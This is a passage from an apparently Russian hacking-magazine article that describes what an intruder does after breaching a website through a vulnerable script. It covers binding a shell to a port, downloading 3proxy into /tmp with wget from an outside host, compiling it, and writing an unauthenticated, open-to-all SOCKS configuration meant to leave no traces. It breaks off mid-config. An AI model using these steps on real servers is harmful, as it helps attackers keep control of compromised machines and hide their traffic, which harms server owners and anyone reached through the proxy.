Два носка – не пара Толстых Олег aka NSD Хакер, номер #070, стр. 070-070-2 Начинаем сборку Допустим, хакер, воспользовавшись бажным сприптом, взломал сайт и получил шелл-доступ с правами веб-сервера. Если на сервере можно открывать свои порты и соединения с ними не будут блокироваться файрволом, - считай, что дело в шляпе. Для удобства работы нужно забиндить шелл, к примеру, на 32767 порту и коннектиться к нему (если забыл, как это делается, загляни на страницу 72 июньского ][). Теперь необходимо слить сорцы 3proxy в какую-нибудь доступную для записи директорию, например в /tmp. Для этого следует воспользоваться любой утилитой для слива файлов: wget, fetch, curl или вообще lynx ;). Допустим, в результате выполнения команды cd /tmp; wget http://security.nnov.ru/soft/3proxy/0.4.5b/3proxy.tgz сорцы 3proxy сольются в папку /tmp. Далее разархивируем сжатые исходники командой tar xvzf 3proxy.tgz. После того как архив распакуется в текущую директорию, можно приступать к сборке. Для этого выполняем команду make –f Makefile.unix и ждем, когда процесс компиляции модулей завершится. Если все пройдет удачно, появится один новый исполняемый файл 3proxy. Собственно говоря, это и есть собранный бинарник прокси-сервера. А как же конфиги? Теперь осталось только составить конфигурационный файл. 3proxy обладает большим количеством всевозможных настроек. Например, через конфиг можно создавать учетные записи для юзеров сокса, регулировать его пропускную способность, устанавливать свой формат записи логов. Но тебе все эти настройки ни к чему. Необходимо, чтобы установленный сокс работал с максимальной скоростью и не оставлял за собой никаких следов. Все настройки хранятся в файле 3proxy.cfg. Чтобы создать работающий конфиг, выполни в командной строке команду cat > 3proxy.cfg – это будет записывать в файл данные, поступающие со стандартного потока ввода. Теперь нужно забить примерно следующий текст: Содержание конфига 3proxy.cfg # прописываю адрес DNS-сервера (127.0.0.1 – для автоматического определения) nserver 127.0.0.1 # на фиг авторизацию auth none # разрешаем пользоваться проксей с любого адреса allow * # указываем номер порта для нашего сокса, пусть это будет 9876 socks -p9876 # прописываем внутренний ip |